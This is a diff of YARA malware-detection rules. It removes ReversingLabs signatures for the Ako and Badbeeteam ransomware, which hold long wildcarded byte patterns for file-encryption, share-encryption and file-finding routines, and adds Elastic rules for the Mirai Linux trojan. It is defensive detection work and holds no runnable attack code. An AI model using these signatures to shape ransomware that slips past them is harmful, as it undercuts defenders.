-            FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
-            [0-10] E9 ?? ?? ?? ?? 6A ?? [1-10] FF 75 ??
-            FF (35 | 75) [1-4] FF 75 ?? (E8 | FF 15)
-            ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? [1-10] FF (35 | 75) [1-4] 6A ??
-            6A ?? 6A ?? FF 35 ?? ?? ?? ?? (E8 | FF 15) ??
-            ?? ?? ?? 0B C0 75 ?? (EB | E9) [1-4] 6A ??
-            [2-10] FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8
-            ?? 75 ?? [10-40] FF (35 | 75) [1-4] FF 75 ??
-            (E8 |FF 15)
-        }
+		$a = { 4A 75 05 0F BE 11 01 D0 89 C2 0F B7 C0 C1 FA 10 01 C2 89 D0 C1 }
 
 	condition:
-		uint16(0)==0x5A4D and (($read_config_file and $file_type_loop and $encrypt_routine) or ($enum_drives and $enum_shared_resources and $find_files and $encrypt_files))
+		all of them
 }
-rule REVERSINGLABS_Win64_Ransomware_Ako : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Dca3B9B4 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Ako ransomware."
-		author = "ReversingLabs"
-		id = "fce98a6a-f7bd-52ee-a2b8-31b48f6134ca"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Ako.yara#L1-L173"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "8321a4ace66ae48e3a6896daf02c184fa7767fa6bd10cd83b322ad01698008cf"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "dca3b9b4-62f3-41ed-a3b3-80dd0990f8c5"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1502-L1520"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a839437deba6d30e7a22104561e38f60776729199a96a71da3a88a7c7990246a"
+		logic_hash = "f85dfc1c00706d7ac11ef35c41c471383ef8b019a5c2566b27072a5ef5ad5c93"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ako"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "b0471831229be1bcbcf6834e2d1a5b85ed66fb612868c2c207fe009ae2a0e799"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_win64_p1 = {
-            44 89 4C 24 ?? 4C 89 44 24 ?? 48 89 54 24 ?? 48 89 4C 24 ?? 56 57 48 81 EC ?? ?? ??
-            ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ??
-            48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 83 BC 24 ?? ?? ?? ?? ?? 75 ?? 32 C0 E9 ?? ?? ??
-            ?? 41 B9 ?? ?? ?? ?? 45 33 C0 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 90 89 44 24 ?? 81 7C 24 ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? ?? ?? ?? C7 84 24
-            ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA
-            48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? 32
-            C0 E9 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24
-            ?? 45 33 C0 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 45 33 C0 BA ?? ?? ?? ??
-            48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84
-            24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
-            48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA 48 C7 44 24 ?? ?? ?? ??
-            ?? EB ?? 48 8B 44 24 ?? 48 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48
-            39 44 24 ?? 0F 8D ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ??
-            4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 90 85 C0 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 33 D2 48 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 41
-            B8 ?? ?? ?? ?? 48 8B D0 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6
-        }
-		$encrypt_files_win64_p2 = {
-            44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 45 33 C9 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94
-            24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 44 24 ??
-            ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            90 0F B6 44 24 ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? 05 ?? ??
-            ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 39 44 24 ?? 0F 83 ?? ?? ?? ?? 48 8D 8C 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 90 8B 4C 24 ?? 48 03 C1 48 89 44 24 ?? 33 D2 48 8D 8C 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B F8 48 8B 44 24 ?? 48 8B F0 B9 ?? ?? ?? ?? F3 A4 48
-            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 8B 4C 24 ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ??
-            ?? 4C 8B C8 45 33 C0 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            90 0F B6 C0 85 C0 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48
-            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 90 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 44 8B 44 24 ??
-            48 8B D0 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 44 24 ?? ?? 48
-            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F
-            B6 44 24 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? EB ?? E9 ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA
-        }
-		$encrypt_files_win64_p3 = {
-            48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B
-            F8 33 C0 B9 ?? ?? ?? ?? F3 AA 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 41 B9 ?? ?? ??
-            ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 90 85 C0 0F 84 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 C0 ?? 48 8B C8 E8
-            ?? ?? ?? ?? 90 48 89 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 83 C1 ?? E8 ?? ?? ?? ?? 90
-            48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 48 8B 4C 24 ?? 44 8B C1 48 8B D0 48 8B 8C
-            24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 48 89 44 24
-            ?? 48 8B 8C 24 ?? ?? ?? ?? 48 83 C1 ?? E8 ?? ?? ?? ?? 90 48 8B 4C 24 ?? 48 3B C8 0F
-            85 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 8B
-            84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 41
-            B8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90
-            85 C0 74 ?? 8B 44 24 ?? 48 83 F8 ?? 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? EB ?? C6 44
-            24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 90 0F B6 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 90 48 81 C4
-            ?? ?? ?? ?? 5F 5E C3
-        }
-		$encrypt_network_shares_win64_p1 = {
-            48 89 54 24 ?? 48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B
-            05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 84 24 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 8B C8 E8
-            ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48
-            8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83
-            C0 ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C
-            8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 84 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48
-            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B
-        }
-		$encrypt_network_shares_win64_p2 = {
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ??
-            ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ??
-            ?? 48 C7 44 24 ?? ?? ?? ?? ?? EB ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 48 8D 8C
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 39 44 24 ?? 73 ?? 48 83 7C 24 ?? ?? 76 ?? 33 D2
-            48 8B 44 24 ?? B9 ?? ?? ?? ?? 48 F7 F1 48 8B C2 48 85 C0 75 ?? 41 B9 ?? ?? ?? ?? 4C
-        }
-		$encrypt_network_shares_win64_p3 = {
-            8D 05 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 44
-            24 ?? 48 FF C0 48 89 44 24 ?? EB ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ??
-            ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 54 24 ?? 48 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ??
-            48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 90 48 8B C8 E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ??
-            E8 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ??
-            ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B C8 E8 ?? ?? ?? ?? 90 4C 8B
-            C0 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 C6 44 24 ?? ?? 48 8D 8C 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            90 32 C0 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? C3
-        }
-		$find_files_win64 = {
-            48 89 5C 24 ?? 55 56 57 41 56 41 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33
-            C4 48 89 84 24 ?? ?? ?? ?? 4D 8B F0 49 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B E9 48 3B D1
-            74 ?? 0F B7 02 66 83 E8 ?? 66 83 F8 ?? 77 ?? 0F B7 C0 49 0F A3 C0 72 ?? 48 83 EA ??
-            48 3B D5 75 ?? 0F B7 0A 66 83 F9 ?? 75 ?? 48 8D 45 ?? 48 3B D0 74 ?? 4D 8B CE 45 33
-            C0 33 D2 48 8B CD E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 83 E9 ?? 33 FF 66 83 F9 ?? 77 ??
-            0F B7 C1 49 0F A3 C0 B0 ?? 72 ?? 40 8A C7 48 2B D5 48 8D 4C 24 ?? 48 D1 FA 41 B8 ??
-            ?? ?? ?? 48 FF C2 F6 D8 4D 1B FF 4C 23 FA 33 D2 E8 ?? ?? ?? ?? 45 33 C9 89 7C 24 ??
-            4C 8D 44 24 ?? 48 89 7C 24 ?? 33 D2 48 8B CD FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ??
-            75 ?? 4D 8B CE 45 33 C0 33 D2 48 8B CD E8 ?? ?? ?? ?? 8B F8 48 83 FB ?? 74 ?? 48 8B
-            CB FF 15 ?? ?? ?? ?? 8B C7 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C
-            24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 5F 5E 5D C3 49 8B 76 ?? 49 2B 36 48
-            C1 FE ?? 66 83 7C 24 ?? ?? 75 ?? 66 39 7C 24 ?? 74 ?? 66 83 7C 24 ?? ?? 75 ?? 66 39
-            7C 24 ?? 74 ?? 4D 8B CE 48 8D 4C 24 ?? 4D 8B C7 48 8B D5 E8 ?? ?? ?? ?? 85 C0 75 ??
-            48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 49 8B 06 49 8B 56 ?? 48 2B D0
-            48 C1 FA ?? 48 3B F2 0F 84 ?? ?? ?? ?? 48 2B D6 48 8D 0C F0 4C 8D 0D ?? ?? ?? ?? 41
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
-        }
+		$a = { 83 45 F4 01 8B 45 F4 3B 45 F0 75 11 48 8B 45 F8 48 2B 45 D8 }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files_win64) and ( all of ($encrypt_files_win64_p*)) and ( all of ($encrypt_network_shares_win64_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Badbeeteam : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Ae9D0Fa6 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Badbeeteam ransomware."
-		author = "ReversingLabs"
-		id = "39490b21-34b9-51cb-a3ed-672b3186a233"
-		date = "2020-11-13"
-		modified = "2020-11-13"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Badbeeteam.yara#L1-L137"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "9b5367655c7c70958332d31524833d96d03027aab693393b19f478a80482abd0"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "ae9d0fa6-be06-4656-9b13-8edfc0ee9e71"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1522-L1539"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8da5b14b95d96de5ced8bcab98e23973e449c1b5ca101f39a2114bb8e74fd9a5"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Badbeeteam"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files_p1 = {
-            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
-            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F C9 C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
-            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
-            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ??
-            8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ??
-            8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF 57 57
-            57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89
-            45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74
-            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ??
-            ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8
-            ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ??
-            3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D
-        }
-		$find_files_p2 = {
-            56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ??
-            ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ??
-            ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D
-            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
-            88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ??
-            75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ??
-            ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2
-            C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
-            ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
-        }
-		$encrypt_files_p1 = {
-            59 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 F1 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ??
